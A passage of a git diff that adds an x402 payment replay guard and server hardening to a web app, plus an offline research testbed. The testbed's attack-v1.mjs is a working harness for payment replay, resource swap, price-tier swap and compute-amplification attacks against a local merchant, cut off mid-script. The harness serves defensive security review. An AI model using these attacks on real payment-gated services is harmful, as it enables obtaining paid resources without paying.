* Against a facilitator that is authoritative for single-use, on-chain state + * happens to save you. Against any facilitator that is not (a broadcast-only + * storefront, a `settlement_pending`/optimistic settle path, a degraded RPC, a + * facilitator that reports success before a receipt, or a cache-permitting + * intermediary), one signed payment produces N grants. + * + * This module makes "one signed payment ⇒ at most one granted resource" an + * invariant owned by this application, independent of facilitator behaviour. + * + * HOW THE IDENTITY IS DERIVED + * --------------------------- + * Only from cryptographically SIGNED fields: + * + * sha256("x402-v1|" || network || "|" || asset || "|" || payer || "|" || nonce) + * + * `payer` + `nonce` is exactly the tuple that is single-use on chain, so a + * client cannot produce two distinct identities from one authorization, and + * cannot reuse one identity across two authorizations. The client-supplied + * `resource` object and the `payment-identifier` extension id are deliberately + * NOT part of the identity: both are attacker-controlled, so they are recorded + * for diagnostics and never used as the security control. + */ + +import { createHash } from "crypto"; +import { logger } from "@/lib/server/secure-logger"; + +/** Fields extracted from a verified payment payload. */ +export interface X402PaymentIdentity { + /** Deterministic, signature-derived, single-use identity. */ + identity: string; + /** Payer address from the signed authorization, when the payload exposes one. */ + payer: string | null; + /** Single-use nonce from the signed authorization, when exposed. */ + nonce: string | null; + /** CAIP-2 network from the payment requirements. */ + network: string; + /** Token contract address from the payment requirements. */ + asset: string | null; + /** Authorized amount in atomic units, when exposed. */ + amountAtomic: string | null; + /** Hash of the signature, for correlation in logs and the ledger. */ + signatureHash: string; + /** + * True when the payload matched a known scheme shape (EIP-3009 or Permit2). + * False means the identity fell back to hashing the whole payload, which + * still rejects byte-identical replays but is a weaker signal. + */ + strong: boolean; +} + +export type X402ClaimOutcome = + | { ok: true; identity: string; alreadyClaimed: false } + | { + ok: false; + reason: "replay"; + identity: string; + /** Resource the payment was originally consumed for, when known. */ + claimedResource?: string; + /** Unix millis of the original claim, when known. */ + claimedAt?: number; + } + | { ok: false; reason: "store_unavailable"; identity: string }; + +export interface X402ClaimRecord { + paymentIdentity: string; + resourceKey: string; + network: string; + asset: string | null; + payer: string | null; + amountAtomic: string | null; + transactionHash: string | null; + /** Reserved for the `payment-identifier` extension id, when a client sends one. */ + paymentIdHint: string | null; + claimedAt: number; +} + +export interface X402ClaimStore { + /** + * Atomically reserve `identity`. MUST be a single atomic operation: two + * concurrent calls for the same identity may not both succeed. + */ + insert(record: X402ClaimRecord): Promise<"inserted" | "duplicate">; + /** Non-authoritative fast lookup used to reject obvious replays early. */ + lookup(identity: string): Promise | null>; + /** Number of claims made by `payer` since `since` (inclusive). */ + countSince(payer: string, since: Date): Promise; +} + +/* ------------------------------------------------------------------ */ +/* Identity derivation */ +/* ------------------------------------------------------------------ */ + +function asRecord(value: unknown): Record | null { + return value && typeof value === "object" && !Array.isArray(value) + ? (value as Record) + : null; +} + +function readString(source: Record | null, key: string): string | null { + if (!source) return null; + const value = source[key]; + if (typeof value === "string" && value.trim()) return value.trim(); + if (typeof value === "number" && Number.isFinite(value)) return String(value); + return null; +} + +function sha256Hex(input: string): string { + return createHash("sha256").update(input).digest("hex"); +} + +/** + * Extracts the single-use authorization tuple from a payment payload. + * + * Supports the two EVM shapes the `exact` scheme can produce: + * - EIP-3009: `payload.authorization` = { from, nonce, value, validBefore } + * - Permit2: `payload.permit2Authorization` = { from, nonce, deadline, ... } + */ +function extractAuthorization(payloadBody: unknown): { + from: string | null; + nonce: string | null; + amount: string | null; + shape: "eip3009" | "permit2" | "unknown"; +} { + const body = asRecord(payloadBody); + + const eip3009 = asRecord(body?.authorization); + if (eip3009) { + return { + from: readString(eip3009, "from"), + nonce: readString(eip3009, "nonce"), + amount: readString(eip3009, "value"), + shape: "eip3009", + }; + } + + const permit2 = asRecord(body?.permit2Authorization); + if (permit2) { + return { + from: readString(permit2, "from"), + nonce: readString(permit2, "nonce"), + amount: readString(asRecord(permit2.permitted), "amount") ?? readString(permit2, "amount"), + shape: "permit2", + }; + } + + return { from: null, nonce: null, amount: null, shape: "unknown" }; +} + +/** + * Derives the deterministic, single-use identity for a verified payment. + * + * Never throws: a payload whose shape is not recognised falls back to hashing + * the whole payload, so the guard degrades to "reject byte-identical replays" + * rather than failing open. + */ +export function deriveX402PaymentIdentity( + paymentPayload: unknown, + paymentRequirements: unknown +): X402PaymentIdentity { + const payload = asRecord(paymentPayload); + const requirements = asRecord(paymentRequirements); + + const network = readString(requirements, "network") ?? "unknown"; + const asset = readString(requirements, "asset"); + const signature = readString(payload, "signature") ?? ""; + const signatureHash = sha256Hex(signature || JSON.stringify(payload?.payload ?? null)); + + const { from, nonce, amount, shape } = extractAuthorization(payload?.payload); + const strong = shape !== "unknown" && Boolean(from) && Boolean(nonce); + + if (!strong) { + logger.warn("x402 payment guard: unrecognised payload shape, falling back to payload hash", { + shape, + hasPayer: Boolean(from), + hasNonce: Boolean(nonce), + }); + } + + const identity = strong + ? sha256Hex(`x402-v1|${network}|${asset ?? ""}|${from}|${nonce}`) + : sha256Hex(`x402-fallback-v1|${network}|${asset ?? ""}|${signatureHash}`); + + return { + identity, + payer: from, + nonce, + network, + asset, + amountAtomic: amount ?? readString(requirements, "amount") ?? null, + signatureHash, + strong, + }; +} + +/* ------------------------------------------------------------------ */ +/* Stores */ +/* ------------------------------------------------------------------ */ + +/** True when the backend Supabase credentials needed by the store are present. */ +function hasSupabaseCredentials(): boolean { + return Boolean(process.env.NEXT_PUBLIC_SUPABASE_URL && process.env.SUPABASE_SECRET_KEY); +} + +/** + * In-process store. Used by the test suite and local development when Supabase + * is not configured. Single-instance only — never sufficient for production, + * which is why the durable Supabase store is preferred whenever credentials + * exist and the route fails closed when that store errors. + */ +class MemoryClaimStore implements X402ClaimStore { + private readonly claims = new Map(); + + async insert(record: X402ClaimRecord): Promise<"inserted" | "duplicate"> { + if (this.claims.has(record.paymentIdentity)) return "duplicate"; + this.claims.set(record.paymentIdentity, record); + return "inserted"; + } + + async lookup(identity: string) { + const found = this.claims.get(identity); + return found ? { resourceKey: found.resourceKey, claimedAt: found.claimedAt } : null; + } + + async countSince(payer: string, since: Date) { + const cutoff = since.getTime(); + let count = 0; + for (const claim of this.claims.values()) { + if (claim.payer === payer && claim.claimedAt >= cutoff) count++; + } + return count; + } + + clear() { + this.claims.clear(); + } +} + +/** + * Durable store backed by `public.x402_payment_claims`. + * + * Uniqueness comes from the table PRIMARY KEY, so the duplicate check is the + * database's own atomic constraint rather than a read-then-write race. + */ +class SupabaseClaimStore implements X402ClaimStore { + async insert(record: X402ClaimRecord): Promise<"inserted" | "duplicate"> { + const { supabaseAdmin } = await import("@/lib/supabase/server"); + const admin = supabaseAdmin(); + + const { error } = await admin.from("x402_payment_claims").insert({ + payment_identity: record.paymentIdentity, + resource_key: record.resourceKey, + network: record.network, + asset: record.asset, + payer: record.payer, + amount_atomic: record.amountAtomic, + transaction_hash: record.transactionHash, + payment_id_hint: record.paymentIdHint, + claimed_at: new Date(record.claimedAt).toISOString(), + }); + + if (!error) return "inserted"; + + // 23505 = unique_violation → the signed authorization was already consumed. + if (error.code === "23505") return "duplicate"; + + throw new Error(`x402 claim store insert failed: ${error.message}`); + } + + async lookup(identity: string) { + const { supabaseAdmin } = await import("@/lib/supabase/server"); + const admin = supabaseAdmin(); + + const { data, error } = await admin + .from("x402_payment_claims") + .select("resource_key, claimed_at") + .eq("payment_identity", identity) + .maybeSingle(); + + if (error) throw new Error(`x402 claim store lookup failed: ${error.message}`); + if (!data) return null; + + const claimedAt = Date.parse(String(data.claimed_at)); + return { + resourceKey: String(data.resource_key), + claimedAt: Number.isFinite(claimedAt) ? claimedAt : Date.now(), + }; + } + + async countSince(payer: string, since: Date) { + const { supabaseAdmin } = await import("@/lib/supabase/server"); + const admin = supabaseAdmin(); + + const { count, error } = await admin + .from("x402_payment_claims") + .select("payment_identity", { count: "exact", head: true }) + .eq("payer", payer) + .gte("claimed_at", since.toISOString()); + + if (error) throw new Error(`x402 claim store count failed: ${error.message}`); + return count ?? 0; + } +} + +const memoryStore = new MemoryClaimStore(); + +let overriddenStore: X402ClaimStore | null = null; + +function store(): X402ClaimStore { + if (overriddenStore) return overriddenStore; + return hasSupabaseCredentials() ? new SupabaseClaimStore() : memoryStore; +} + +/** Test seam: clears the in-process store. No effect on the Supabase store. */ +export function resetX402ClaimStoreForTests(): void { + memoryStore.clear(); + overriddenStore = null; +} + +/** + * Test seam: force a specific store, or pass `null` to restore auto-selection. + * Used to prove the pipeline fails closed when the store is unreachable. + */ +export function setX402ClaimStoreForTests(replacement: X402ClaimStore | null): void { + overriddenStore = replacement; +} + +/* ------------------------------------------------------------------ */ +/* Public API */ +/* ------------------------------------------------------------------ */ + +export interface ClaimX402PaymentParams { + identity: X402PaymentIdentity; + /** + * The specific resource the payment is being consumed for. Recorded on the + * claim so a cross-resource replay is distinguishable from an honest retry. + */ + resourceKey: string; + transactionHash?: string | null; + /** Optional `payment-identifier` extension id, recorded for correlation only. */ + paymentIdHint?: string | null; +} + +/** + * Atomically consumes a verified payment. + * + * Call this AFTER settlement succeeds and BEFORE the resource is released, and + * never serve the resource when the outcome is not `ok: true`. + */ +export async function claimX402Payment( + params: ClaimX402PaymentParams +): Promise { + const { identity, resourceKey, transactionHash, paymentIdHint } = params; + + const record: X402ClaimRecord = { + paymentIdentity: identity.identity, + resourceKey, + network: identity.network, + asset: identity.asset, + payer: identity.payer, + amountAtomic: identity.amountAtomic, + transactionHash: transactionHash ?? null, + paymentIdHint: paymentIdHint ?? null, + claimedAt: Date.now(), + }; + + try { + const result = await store().insert(record); + + if (result === "duplicate") { + // Best-effort detail for the log only; the rejection itself does not + // depend on this lookup succeeding. + let claimedResource: string | undefined; + let claimedAt: number | undefined; + try { + const existing = await store().lookup(identity.identity); + claimedResource = existing?.resourceKey; + claimedAt = existing?.claimedAt; + } catch { + // Ignore: the duplicate decision is already authoritative. + } + + logger.error("SECURITY: x402 payment replay rejected", { + identity: identity.identity.slice(0, 16), + payer: identity.payer, + requestedResource: resourceKey, + claimedResource, + }); + + return { ok: false, reason: "replay", identity: identity.identity, claimedResource, claimedAt }; + } + + return { ok: true, identity: identity.identity, alreadyClaimed: false }; + } catch (error) { + // FAIL CLOSED. If the guard cannot record the claim we cannot prove this + // payment is single-use, so the resource must not be released. Serving + // here would re-open exactly the replay hole this module closes. + logger.error("x402 payment guard store unavailable — refusing to grant", { + identity: identity.identity.slice(0, 16), + error: error instanceof Error ? error.message : String(error), + }); + + return { ok: false, reason: "store_unavailable", identity: identity.identity }; + } +} + +/** + * Cheap pre-settlement check for an obvious replay, so a duplicate does not + * cost a facilitator round trip and on-chain gas. + * + * NON-AUTHORITATIVE: it must never be the reason a resource is granted. The + * authoritative decision is always `claimX402Payment`. + */ +export async function isX402PaymentClaimed(identity: string): Promise { + try { + return (await store().lookup(identity)) !== null; + } catch { + // Treat an unreadable store as "not known claimed" so the authoritative + // post-settlement claim still runs (and fails closed there if needed). + return false; + } +} + +/** Deterministic ledger reference so a duplicate ledger write conflicts. */ +export function x402OrderRef(identity: string): string { + return `x402-${identity.slice(0, 40)}`; +} + +/** + * Counts how many payments `payer` has consumed since `since`. + * + * Machine callers have no `auth.users` row, so the human per-user AI ledger + * (`ai_usage_daily`, which references `auth.users`) cannot track them. This is + * the machine-side equivalent: an exact request count per payer, derived from + * the same atomic claims table that enforces single-use. + * + * Throws when the store is unreadable so the caller can fail closed — a bot + * budget that silently reads as "zero used" would be no budget at all. + */ +export async function countPayerClaimsSince(payer: string, since: Date): Promise { + return store().countSince(payer, since); +} + +/** Start of the current UTC day, matching the human AI ledger's date bucketing. */ +export function startOfUtcDay(now: Date = new Date()): Date { + return new Date(Date.UTC(now.getUTCFullYear(), now.getUTCMonth(), now.getUTCDate())); +} diff --git a/lib/server/x402-server.ts b/lib/server/x402-server.ts index d05ae77..6220657 100644 --- a/lib/server/x402-server.ts +++ b/lib/server/x402-server.ts @@ -7,6 +7,7 @@ import { type HTTPProcessResult, } from "@x402/core/http"; import { logger } from "@/lib/server/secure-logger"; +import { ApiError } from "@/lib/api"; import { supabaseAdmin } from "@/lib/supabase/server"; export type NetworkCaip2 = `eip155:${number}` | string; @@ -17,16 +18,74 @@ export interface X402ServerConfig { facilitatorUrl: string; } +/** + * Cache policy for payment negotiation and error traffic. + * + * A 402 challenge carries a per-request `payTo`/nonce context and must never be + * served from a shared cache. The SDK sets this for its own responses; applying + * it explicitly here also covers the responses this module builds. + */ +export const X402_PAYMENT_CACHE_CONTROL = "no-store"; + +/** + * Cache policy for payment-gated CONTENT. + * + * A granted resource is bought once and must never be reusable by a later + * unpaid reader. Without an explicit directive a CDN is entitled to cache the + * granted 200 and serve it to anyone during its TTL — a paid-content leak the + * x402 specification does not address at all. `private, no-store` keeps the + * body out of every shared cache. + */ +export const X402_PAID_CONTENT_CACHE_CONTROL = "private, no-store, max-age=0"; + +/** Merchant wallet addresses that can never receive a real payment. */ +function isPlaceholderPayTo(address: string): boolean { + if (!/^0x[0-9a-fA-F]{40}$/.test(address)) return true; + + const value = BigInt(address); + // The zero address, and the low sentinels used as test fixtures + // (0x…0001, 0x…0002, …), are all trivially small compared with a real + // keccak-derived account address. + return value < BigInt(0x1_0000); +} + +/** + * Validates the merchant payout address, failing closed. + * + * Previously an unset `X402_PAY_TO` silently defaulted to `0x…0001`, so a + * misconfigured deployment would advertise a burn address in every 402 + * challenge and every settled payment would be irrecoverable. Refusing to + * start a paid route is strictly better than accepting money that cannot + * arrive. + */ +export function assertValidPayTo(value: string | undefined): string { + const candidate = value?.trim() ?? ""; + + if (!candidate) { + throw new Error( + "X402_PAY_TO is not configured. Set it to the merchant EVM wallet address that should receive bot micro-payments." + ); + } + + if (isPlaceholderPayTo(candidate)) { + throw new Error( + `X402_PAY_TO is not a usable payout address (${candidate.slice(0, 10)}…). It must be a 40-character hex address that is not the zero address or a placeholder. Payments sent to it could never be recovered.` + ); + } + + return candidate; +} + /** * Returns x402 server configuration. * Defaults to Base Sepolia testnet (`eip155:84532`) with the official testnet facilitator, * allowing live end-to-end testing with Circle faucet USDC. * Set `X402_NETWORK=eip155:8453` in production for Base mainnet. + * + * Throws when `X402_PAY_TO` is missing or is a placeholder — see `assertValidPayTo`. */ export function getX402Config(): X402ServerConfig { - const payTo = - process.env.X402_PAY_TO?.trim() || - "0x0000000000000000000000000000000000000001"; + const payTo = assertValidPayTo(process.env.X402_PAY_TO); const network = (process.env.X402_NETWORK?.trim() as NetworkCaip2) || "eip155:84532"; @@ -38,6 +97,32 @@ export function getX402Config(): X402ServerConfig { return { payTo, network, facilitatorUrl }; } +/** + * Converts a `$`-prefixed price to USDC atomic units (6 decimals). + * + * The x402 protocol expresses amounts in atomic units, so the ledger stores the + * same representation. Decimal-string arithmetic is used rather than floats: + * `$0.005` must persist as exactly 5000, not as a rounded cent. + */ +export function usdPriceToAtomicUnits(price: string): number { + const normalized = price.trim().replace(/^\$/, ""); + const match = /^(\d+)(?:\.(\d{1,6}))?$/.exec(normalized); + + if (!match) { + throw new Error(`Invalid USD price: ${price}`); + } + + const whole = match[1]; + const fraction = (match[2] ?? "").padEnd(6, "0"); + const atomic = BigInt(whole) * BigInt(1_000_000) + BigInt(fraction); + + if (atomic <= BigInt(0)) { + throw new Error(`USD price must be greater than zero: ${price}`); + } + + return Number(atomic); +} + let cachedHttpServer: x402HTTPResourceServer | null = null; let initPromise: Promise | null = null; @@ -130,6 +215,11 @@ export function createWebAdapter(request: Request, body?: unknown): HTTPAdapter /** * Helper to process an incoming web request through the x402 resource server. + * + * Fails closed: if the facilitator could not be reached at initialization, the + * SDK throws while building payment requirements. That is surfaced as a clean, + * non-cacheable 503 so a caller knows to retry — never as an unhandled 500, and + * never as access to the resource. */ export async function processX402Request( request: Request, @@ -137,18 +227,76 @@ export async function processX402Request( method: string, body?: unknown ): Promise { - const server = await getX402HttpServer(); - const adapter = createWebAdapter(request, body); + try { + // Server construction is inside the try on purpose: `getX402Config()` runs + // here and is what rejects a missing or placeholder payout address. Outside + // the try, that misconfiguration escaped as an unhandled 500. + const server = await getX402HttpServer(); + const adapter = createWebAdapter(request, body); - return server.processHTTPRequest({ - adapter, - path: routePath, - method: method.toUpperCase(), - }); + return await server.processHTTPRequest({ + adapter, + path: routePath, + method: method.toUpperCase(), + }); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + + // Misconfiguration: the payout address is missing or a placeholder. This + // is raised by `assertValidPayTo` before any network call. Surfaced as a + // named 503 rather than an opaque 500 so the operator can see what to fix — + // the route stays closed, which is the point. + if (message.includes("X402_PAY_TO")) { + logger.error("x402 payout address is not configured — paid route closed", { + routePath, + method, + }); + + throw new ApiError( + 503, + "payment_rail_misconfigured", + "Paid access is temporarily unavailable. Please retry shortly." + ); + } + + // Raised when initialize() could not load supported kinds from any + // facilitator, i.e. the payment rail is unreachable. + if ( + message.includes("Facilitator does not support") || + message.toLowerCase().includes("initializ") + ) { + logger.error("x402 facilitator unavailable — refusing to serve paid route", { + routePath, + method, + message, + }); + + throw new ApiError( + 503, + "payment_rail_unavailable", + "The payment service is temporarily unavailable. Please retry shortly." + ); + } + + throw error; + } } +/** + * Result of `processX402Request` when a payment has verified and is ready to + * settle. Exported so the fulfilment pipeline can be typed against it. + */ +export type X402PaymentVerifiedResult = Extract< + HTTPProcessResult, + { type: "payment-verified" } +>; + /** * Converts x402 HTTPResponseInstructions into a standard web Response. + * + * All negotiation and error traffic is marked non-cacheable: a 402 challenge + * embeds live payment requirements, and a settlement failure carries + * transaction-specific headers. Neither may be replayed from a shared cache. */ export function buildX402Response(processResult: { response: { @@ -166,6 +314,10 @@ export function buildX402Response(processResult: { } } + if (!responseHeaders.has("Cache-Control")) { + responseHeaders.set("Cache-Control", X402_PAYMENT_CACHE_CONTROL); + } + if (body !== undefined && body !== null && typeof body !== "string") { if (!responseHeaders.has("Content-Type")) { responseHeaders.set("Content-Type", "application/json"); @@ -183,8 +335,31 @@ export function buildX402Response(processResult: { } /** - * Records a verified bot microtransaction in the payments table for reporting. - * Provider is marked as 'x402'. + * Applies payment-gated content cache policy to a response. + * + * Call this on every response that carries a granted resource. A paid body must + * not be storable by any shared cache. + */ +export function applyPaidContentCachePolicy(response: Response): Response { + response.headers.set("Cache-Control", X402_PAID_CONTENT_CACHE_CONTROL); + return response; +} + +/** + * Records a verified bot microtransaction in the payments ledger for reporting. + * Provider is marked as 'x402'; the authoritative single-use record lives in + * `public.x402_payment_claims`. + * + * `uid` is intentionally null: machine callers have no `auth.users` row, and + * the ledger's CHECK constraint permits an ownerless row only for the x402 + * plan. The previous implementation wrote the all-zero UUID, which violated + * the foreign key on every insert — so nothing was ever recorded. + * + * `amount` is stored in USDC atomic units (6 decimals), matching how x402 + * expresses amounts; the row is disambiguated by `currency: "USDC"`. + * + * Failures are reported at error level but never thrown: this row is reporting, + * not access control, and a settled payer must still receive what they bought. */ export async function recordX402Payment(params: { orderRef: string; @@ -193,16 +368,19 @@ export async function recordX402Payment(params: { payerAddress?: string; transactionHash?: string; status: "paid" | "verified"; - metadata?: Record; -}) { + route?: string; + resourceKey?: string; +}): Promise { try { + const atomicAmount = usdPriceToAtomicUnits(params.amountUsd); const admin = supabaseAdmin(); + const { error } = await admin.from("payments").insert({ - uid: "00000000-0000-0000-0000-000000000000", + uid: null, order_ref: params.orderRef, uropay_order_id: params.transactionHash || params.orderRef, plan_id: "x402-bot-microtransaction", - amount: Math.round(Number(params.amountUsd.replace("$", "")) * 100), + amount: atomicAmount, status: params.status, currency: "USDC", environment: params.network.includes("84532") ? "test" : "production", @@ -211,16 +389,34 @@ export async function recordX402Payment(params: { }); if (error) { - // Table may require foreign key on uid or unique index constraint in some environments. - // Log as structured notice without throwing to avoid failing payment fulfillment. - logger.warn("x402 payment audit record notice:", { - error: error.message, - orderRef: params.orderRef, - }); + // 23505 on order_ref means this exact payment was already recorded. + if (error.code === "23505") { + logger.warn("x402 ledger row already present for this payment", { + orderRef: params.orderRef, + }); + return true; + } + + logger.error( + "ALERT: x402 payment settled but the reporting ledger row failed to write", + { + error: error.message, + orderRef: params.orderRef, + transactionHash: params.transactionHash, + route: params.route, + resourceKey: params.resourceKey, + } + ); + return false; } + + return true; } catch (err) { - logger.warn("x402 payment recording exception:", { + logger.error("ALERT: x402 ledger write threw after settlement", { error: err instanceof Error ? err.message : String(err), + orderRef: params.orderRef, + route: params.route, }); + return false; } } diff --git a/readme.md b/readme.md index 861ac41..36f695b 100644 --- a/readme.md +++ b/readme.md @@ -38,6 +38,8 @@ ADMIN_OWNER_UIDS= AI_DAILY_REQUEST_CAP=60 AI_DAILY_TOKEN_CAP=300000 +AI_FREE_TRIAL_DAYS=3 +AI_TRIAL_DAILY_TOKEN_CAP=1000000 UROPAY_API_KEY= UROPAY_API_SECRET= diff --git a/research/x402/poc/README.md b/research/x402/poc/README.md new file mode 100644 index 0000000..7aa827d --- /dev/null +++ b/research/x402/poc/README.md @@ -0,0 +1,65 @@ +# x402 testbed (offline) + +Reproduces the findings in `../x402-security-review.md`. Everything runs locally — **no blockchain RPC or testnet access is required.** + +## What's here + +| File | Role | +|---|---| +| `facilitator.js` | Facilitator built from the **real** `@x402/core` `x402Facilitator` + **real** `@x402/evm` `ExactEvmScheme`, with the chain stubbed (`writeContract` returns a fake hash; `getCode` returns bytecode only for the USDC address; `verifyTypedData` is real viem ECDSA). All signature / amount / recipient / time-window / scheme checks are the reference implementation's own. `NAIVE=1` models a facilitator that does not authoritatively enforce on-chain single-use (for the multi-grant test). | +| `server.js` | Merchant using the **real** `@x402/express` `paymentMiddleware`. Routes: `/api/cheap` ($0.01), `/api/twin` ($0.01, identical terms), `/api/expensive` ($99), `POST /api/expensive-sideeffect` (250 ms non-idempotent work). `/stats` reports handler executions. | +| `attack2.mjs` | Baseline loop, resource swap, replay, compute amplification, price escalation, facilitator `/verify` replay. | +| `tamper2.mjs` | Resource-field tampering (untouched / rewritten / deleted) and `accepted.extra` tampering. | +| `experiments.mjs` | Amount tampering (both directions), multi-grant against a non-authoritative facilitator, settlement preemption. | +| `seq.mjs` | 10 sequential replays of a single payment header. | +| `pathbypass.mjs` | 11 path/encoding aliases of a paid route. | +| `headers.mjs`, `rawdup.mjs` | Header precedence, v1 downgrade, garbage header, genuine duplicate-header bytes. | +| `key.mjs` | The payer account, generated per run. Nothing here depends on which address pays. | +| `priv.mjs` | Logging proxy that shows exactly what a third-party facilitator receives (forwards `/supported`, `/verify` and `/settle`, and nothing else). | + +## Run + +```bash +npm install + +# 1. facilitator (authoritative mode) +PORT=4199 node facilitator.js & + +# 2. merchant pointing at it +PORT=4198 FACILITATOR_URL=http://127.0.0.1:4199 node server.js & + +# 3. tests +node attack2.mjs +node tamper2.mjs +node pathbypass.mjs +node headers.mjs +node rawdup.mjs +SERVER=http://127.0.0.1:4198 FACILITATOR=http://127.0.0.1:4199 node experiments.mjs + +# multi-grant against a facilitator without authoritative on-chain enforcement +PORT=4299 NAIVE=1 node facilitator.js & +PORT=4298 FACILITATOR_URL=http://127.0.0.1:4299 node server.js & +SERVER=http://127.0.0.1:4298 FACILITATOR=http://127.0.0.1:4299 node experiments.mjs # section F +SERVER=http://127.0.0.1:4298 node seq.mjs + +# privacy: what the facilitator sees +node priv.mjs & # proxy on :4399 +PORT=4398 FACILITATOR_URL=http://127.0.0.1:4399 node server.js & # merchant via proxy +# then send a payment whose payload.resource.description contains a marker string +``` + +Ports are overridable via `PORT`, `FACILITATOR_URL`, `SERVER`, `FACILITATOR`, `NETWORK`, `PAY_TO`. + +Each script signs with an account it generates at startup (`key.mjs`), because nothing in the +testbed checks who the payer is. Set `POC_PRIVATE_KEY=0x...` to run every script as one known +account, or to reproduce a run exactly. + +To compare SDK versions (e.g. the §3.4 cache-control difference), install a pinned version and re-check the headers: + +```bash +npm i @x402/core@2.10.0 @x402/evm@2.10.0 @x402/express@2.10.0 +``` + +## Limitations + +The chain is stubbed, so on-chain timing, gas outcomes, and chain-level races are **not** exercised — those findings come from the published research cited in the review. Tests target the TypeScript reference stack (Express adapter); other language SDKs and adapters were reviewed by reading code, not by running. diff --git a/research/x402/poc/attack-v1.mjs b/research/x402/poc/attack-v1.mjs new file mode 100644 index 0000000..6b1e3c0 --- /dev/null +++ b/research/x402/poc/attack-v1.mjs @@ -0,0 +1,145 @@ +/** + * Empirical attack harness against the CURRENT published x402 SDK (2.10.0) + * using the official client SDK to produce authentic payment payloads. + * + * Run: node attack.mjs + */ +import { x402HTTPClient } from "@x402/core/http"; +import { x402Client } from "@x402/core/client"; +import { ExactEvmScheme } from "@x402/evm/exact/client"; +import { privateKeyToAccount } from "viem/accounts"; +import { POC_PRIVATE_KEY } from "./key.mjs"; + +const SERVER = process.env.SERVER || "http://127.0.0.1:4098"; +const FACILITATOR = process.env.FACILITATOR || "http://127.0.0.1:4099"; + +// throwaway burner key (an "agent wallet" with a small balance) +const account = privateKeyToAccount(POC_PRIVATE_KEY); +console.log(`agent wallet: ${account.address}`); + +const client = new x402Client(); +client.register("eip155:*", new ExactEvmScheme(account)); +const httpClient = new x402HTTPClient(client); + +const results = {}; + +/** 1. Get a 402 challenge and sign a payment payload for it. */ +async function buyOnce(url, { method = "GET", body } = {}) { + const opts = { method, headers: {} }; + if (body) { + opts.headers["content-type"] = "application/json"; + opts.body = JSON.stringify(body); + } + const challenge = await fetch(url, opts); + const getHeader = n => challenge.headers.get(n); + const paymentRequired = httpClient.getPaymentRequiredResponse(getHeader, await challenge.clone().json().catch(() => undefined)); + const payload = await httpClient.createPaymentPayload(paymentRequired); + return { challenge, paymentRequired, payload, headers: httpClient.encodePaymentSignatureHeader(payload) }; +} + +async function countGrants(url, headers, n, { concurrent = false } = {}) { + const doReq = async () => { + const r = await fetch(url, { headers }); + const text = await r.text(); + return { status: r.status, text, cc: r.headers.get("cache-control") }; + }; + const rs = concurrent + ? await Promise.all(Array.from({ length: n }, doReq)) + : await Promise.all(Array.from({ length: n }, doReq)); // still parallel; see note + return rs; +} + +const stats = () => fetch(`${SERVER}/stats`).then(r => r.json()); +const facStats = () => fetch(`${FACILITATOR}/stats`).then(r => r.json()); + +const H = t => console.log(`\n${"=".repeat(78)}\n${t}\n${"=".repeat(78)}`); + +// ---------------------------------------------------------------- baseline +H("BASELINE: does the protocol work end-to-end at all?"); +{ + const { challenge, headers } = await buyOnce(`${SERVER}/api/cheap`); + console.log(`unpaid request -> HTTP ${challenge.status}`); + console.log(` PAYMENT-REQUIRED header present: ${challenge.headers.has("payment-required")}`); + const cc = challenge.headers.get("cache-control"); + console.log(` cache-control on 402: ${cc}`); + + const paid = await fetch(`${SERVER}/api/cheap`, { headers }); + const body = await paid.text(); + console.log(`paid request -> HTTP ${paid.status} body=${body}`); + console.log(` PAYMENT-RESPONSE header: ${paid.headers.get("payment-response") ? "yes" : "no"}`); + console.log(` cache-control on paid 200: ${paid.headers.get("cache-control")}`); + results.baselineWorks = paid.status === 200; + results.paidPayload = headers; + results.cheapRequirement = JSON.parse(Buffer.from(challenge.headers.get("payment-required"), "base64").toString()).accepts[0]; +} + +// ------------------------------------------------- ATTACK II: replay +H("ATTACK II (paper: replay/idempotency) — replay the SAME payment header 6x"); +{ + const before = await stats(); + const rs = await countGrants(`${SERVER}/api/cheap`, results.paidPayload, 6); + const after = await stats(); + const ok = rs.filter(r => r.status === 200).length; + const denied = rs.filter(r => r.status === 402).length; + console.log(` HTTP 200 (resource granted): ${ok}`); + console.log(` HTTP 402 (settlement failed): ${denied}`); + console.log(` handler executions on /api/cheap before=${before.handlerRuns.cheap ?? 0} after=${after.handlerRuns.cheap ?? 0}`); + console.log(` => duplicate grants from ONE payment: ${Math.max(0, (after.handlerRuns.cheap ?? 0) - (before.handlerRuns.cheap ?? 0) - 0)}`); + console.log(` facilitator verify calls: ${JSON.stringify(await facStats())}`); + results.replayGrants = ok; +} + +// ------------------------------------------- ATTACK III: resource binding +H("ATTACK (paper: missing resource binding) — use the /api/cheap payment on /api/twin"); +{ + const before = await stats(); + const r = await fetch(`${SERVER}/api/twin`, { headers: results.paidPayload }); + const text = await r.text(); + const after = await stats(); + console.log(` /api/twin with payment bought for /api/cheap -> HTTP ${r.status}`); + console.log(` body: ${text}`); + console.log(` twin handler runs: ${after.handlerRuns.twin ?? 0} (was ${before.handlerRuns.twin ?? 0})`); + results.twinAccepted = r.status === 200; +} + +// ------------------------------------------- ATTACK: price-tier swap +H("ATTACK — use the $0.01 payment on the $99.00 route"); +{ + const r = await fetch(`${SERVER}/api/expensive`, { headers: results.paidPayload }); + console.log(` /api/expensive with $0.01 payment -> HTTP ${r.status}`); + console.log(` body: ${(await r.text()).slice(0, 120)}`); + results.expensiveAccepted = r.status === 200; +} + +// ------------------------------------------- ATTACK: compute amplification +H("ATTACK I-A variant — ONE payment, N concurrent requests to a slow, non-idempotent route"); +{ + const { headers } = await buyOnce(`${SERVER}/api/expensive-sideeffect`, { method: "POST", body: { x: 1 } }); + const before = await stats(); + const t0 = Date.now(); + const rs = await Promise.all( + Array.from({ length: 8 }, () => + fetch(`${SERVER}/api/expensive-sideeffect`, { + method: "POST", + headers: { ...headers, "content-type": "application/json" }, + body: JSON.stringify({ x: 1 }), + }).then(async r => ({ status: r.status, text: await r.text() })), + ), + ); + const after = await stats(); + const ok = rs.filter(r => r.status === 200).length; + console.log(` responses 200: ${ok} / 8 (402s: ${rs.filter(r => r.status === 402).length})`); + console.log(` server-side executions of the paid handler: ${(after.handlerRuns.sideeffect ?? 0) - (before.handlerRuns.sideeffect ?? 0)}`); + console.log(` wall time: ${Date.now() - t0}ms`); + console.log(` facilitator: ${JSON.stringify(await facStats())}`); + results.amplification = (after.handlerRuns.sideeffect ?? 0) - (before.handlerRuns.sideeffect ?? 0); +} + +H("SUMMARY"); +console.log(JSON.stringify({ + protocolWorksE2E: results.baselineWorks, + replayGrantsFromOnePayment: 